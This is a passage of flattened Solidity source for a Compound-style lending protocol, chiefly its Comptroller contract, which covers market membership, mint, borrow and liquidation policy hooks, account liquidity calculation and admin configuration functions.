newCollateralTokens); /*** User Interface ***/ function registerCollateral(address account) external returns (uint); function unregisterCollateral(address account) external; /*** Admin Functions ***/ function _setCollateralCap(uint newCollateralCap) external; } contract CDelegatorInterface { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } /*** External interface ***/ /** * @title Flash loan receiver interface */ interface IFlashloanReceiver { function executeOperation(address sender, address underlying, uint amount, uint fee, bytes calldata params) external; } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; import "./Governance/Comp.sol"; /** * @title Compound's Comptroller Contract * @author Compound (modified by Arr00) */ contract Comptroller is ComptrollerV6Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /// @notice Emitted when an admin supports a market event MarketListed(CToken cToken); /// @notice Emitted when an admin delists a market event MarketDelisted(CToken cToken); /// @notice Emitted when an account enters a market event MarketEntered(CToken cToken, address account); /// @notice Emitted when an account exits a market event MarketExited(CToken cToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(CToken cToken, string action, bool pauseState); /// @notice Emitted when COMP is distributed to a supplier event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex); /// @notice Emitted when COMP is distributed to a borrower event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex); /// @notice Emitted when borrow cap for a cToken is changed event NewBorrowCap(CToken indexed cToken, uint newBorrowCap); /// @notice Emitted when borrow cap guardian is changed event NewBorrowCapGuardian(address oldBorrowCapGuardian, address newBorrowCapGuardian); /// @notice Emitted when supply cap for a cToken is changed event NewSupplyCap(CToken indexed cToken, uint newSupplyCap); /// @notice Emitted when supply cap guardian is changed event NewSupplyCapGuardian(address oldSupplyCapGuardian, address newSupplyCapGuardian); /// @notice Emitted when cToken version is changed event NewCTokenVersion(CToken cToken, Version oldVersion, Version newVersion); /// @notice The initial COMP index for a market uint224 public constant compInitialIndex = 1e36; // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.version == Version.COLLATERALCAP) { // register collateral for the borrower if the token is CollateralCap version. CCollateralCapErc20Interface(address(cToken)).registerCollateral(borrower); } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[cTokenAddress]; if (marketToExit.version == Version.COLLATERALCAP) { CCollateralCapErc20Interface(cTokenAddress).unregisterCollateral(msg.sender); } /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; if (assetIndex != storedList.length - 1){ storedList[assetIndex] = storedList[storedList.length - 1]; } storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } uint supplyCap = supplyCaps[cToken]; // Supply cap of 0 corresponds to unlimited supplying if (supplyCap != 0) { uint totalCash = CToken(cToken).getCash(); uint totalBorrows = CToken(cToken).totalBorrows(); uint totalReserves = CToken(cToken).totalReserves(); // totalSupplies = totalCash + totalBorrows - totalReserves (MathError mathErr, uint totalSupplies) = addThenSubUInt(totalCash, totalBorrows, totalReserves); require(mathErr == MathError.NO_ERROR, "totalSupplies failed"); uint nextTotalSupplies = add_(totalSupplies, mintAmount); require(nextTotalSupplies < supplyCap, "market supply cap reached"); } return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { return redeemAllowedInternal(cToken, redeemer, redeemTokens); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } uint borrowCap = borrowCaps[cToken]; // Borrow cap of 0 corresponds to unlimited borrowing if (borrowCap != 0) { uint totalBorrows = CToken(cToken).totalBorrows(); uint nextTotalBorrows = add_(totalBorrows, borrowAmount); require(nextTotalBorrows < borrowCap, "market borrow cap reached"); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); uint maxClose = mul_ScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused liquidator; borrower; seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Shh - currently unused dst; // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens return redeemAllowedInternal(cToken, src, transferTokens); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param receiver The account which receives the tokens * @param amount The amount of the tokens * @param params The other parameters */ function flashloanAllowed(address cToken, address receiver, uint amount, bytes calldata params) external { require(!flashloanGuardianPaused[cToken], "flashloan is paused"); // Shh - currently unused receiver; amount; params; } /** * @notice Update CToken's version. * @param cToken Version of the asset being updated * @param newVersion The new version */ function updateCTokenVersion(address cToken, Version newVersion) external { require(msg.sender == cToken, "only cToken could update its version"); // This function will be called when a new CToken implementation becomes active. // If a new CToken is newly created, this market is not listed yet. The version of // this market will be taken care of when calling `_supportMarket`. if (markets[cToken].isListed) { Version oldVersion = markets[cToken].version; markets[cToken].version = newVersion; emit NewCTokenVersion(CToken(cToken), oldVersion, newVersion); } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice); // sumCollateral += tokensToDenom * cTokenBalance vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral); // sumBorrowPlusEffects += oraclePrice * borrowBalance vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error Exp memory numerator = mul_(Exp({mantissa: liquidationIncentiveMantissa}), Exp({mantissa: priceBorrowedMantissa})); Exp memory denominator = mul_(Exp({mantissa: priceCollateralMantissa}), Exp({mantissa: exchangeRateMantissa})); Exp memory ratio = div_(numerator, denominator); uint seizeTokens = mul_ScalarTruncate(ratio, actualRepayAmount); return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @param version The version of the market (token) * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken, Version version) external returns (uint) { require(msg.sender == admin, "only admin may support market"); require(!markets[address(cToken)].isListed, "market already listed"); cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: true, collateralFactorMantissa: 0, version: version}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } /** * @notice Remove the market from the markets mapping * @param cToken The address of the market (token) to delist */ function _delistMarket(CToken cToken) external { require(msg.sender == admin, "only admin may delist market"); require(markets[address(cToken)].isListed, "market not listed"); require(cToken.totalSupply() == 0, "market not empty"); cToken.isCToken(); // Sanity check to make sure its really a CToken delete markets[address(cToken)]; for (uint i = 0; i < allMarkets.length; i++) { if (allMarkets[i] == cToken) { allMarkets[i] = allMarkets[allMarkets.length - 1]; delete allMarkets[allMarkets.length - 1]; allMarkets.length--; break; } } emit MarketDelisted(cToken); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != 